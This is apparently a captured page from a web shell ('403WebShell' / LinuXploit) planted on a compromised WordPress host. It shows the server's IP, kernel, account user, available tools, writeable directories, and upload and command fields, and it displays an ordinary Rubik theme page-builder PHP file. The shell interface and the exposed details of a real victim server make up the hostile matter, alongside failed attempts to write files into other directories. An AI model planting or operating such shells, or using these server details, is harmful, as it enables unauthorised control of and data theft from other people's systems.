Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 18.117.72.108
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/blog.diixadigital.com/wp-content/themes/rubik/framework/page-builder/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/blog.diixadigital.com/wp-content/themes/rubik/framework/page-builder/bk_pd_start.php
<?php
add_action( 'after_setup_theme', 'bk_setup_page_builder' );

//pagebuilder_classic_editor
function pagebuilder_classic_editor() {
    wp_enqueue_script( 'rubik-pagebuilder-classic-init', get_template_directory_uri().'/js/pagebuilder-classic-init.js', array('jquery-ui-sortable'), '', true );
}

//pagebuilder_gutenberg_editor
function pagebuilder_gutenberg_editor() {
	wp_enqueue_script( 'rubik-pagebuilder-gutenberg-init', get_template_directory_uri().'/js/pagebuilder-gutenberg-init.js', array('jquery-ui-sortable'), '', true );
}


function bk_setup_page_builder() {
    global $wp_version;
	if ( function_exists( 'bk_init_sections' ) ) {
	   add_action( 'admin_enqueue_scripts', 'bk_init_sections' );
    }
    
    if((is_admin())) {
        if ( version_compare( $wp_version, '5.0', '>=' ) ) {
            if ( !class_exists( 'Classic_Editor' ) ) {
                add_action( 'enqueue_block_assets', 'bk_page_builder_temp' );   
                add_action('admin_enqueue_scripts', 'pagebuilder_gutenberg_editor');
            }else {
                add_action( 'edit_form_after_title', 'bk_page_builder_temp' );    
                add_action('admin_enqueue_scripts', 'pagebuilder_classic_editor');
                add_action( 'save_post', 'bk_classic_save_page' );
            }
        }else {
            if(!function_exists('gutenberg_pre_init')) {
                add_action( 'edit_form_after_title', 'bk_page_builder_temp' );    
                add_action('admin_enqueue_scripts', 'pagebuilder_classic_editor');
                add_action( 'save_post', 'bk_classic_save_page' );
            }else {
                add_action( 'enqueue_block_assets', 'bk_page_builder_temp' );   
                add_action('admin_enqueue_scripts', 'pagebuilder_gutenberg_editor');
            }
        }
    }              
}

Youez - 2016 - github.com/yon3zu
LinuXploit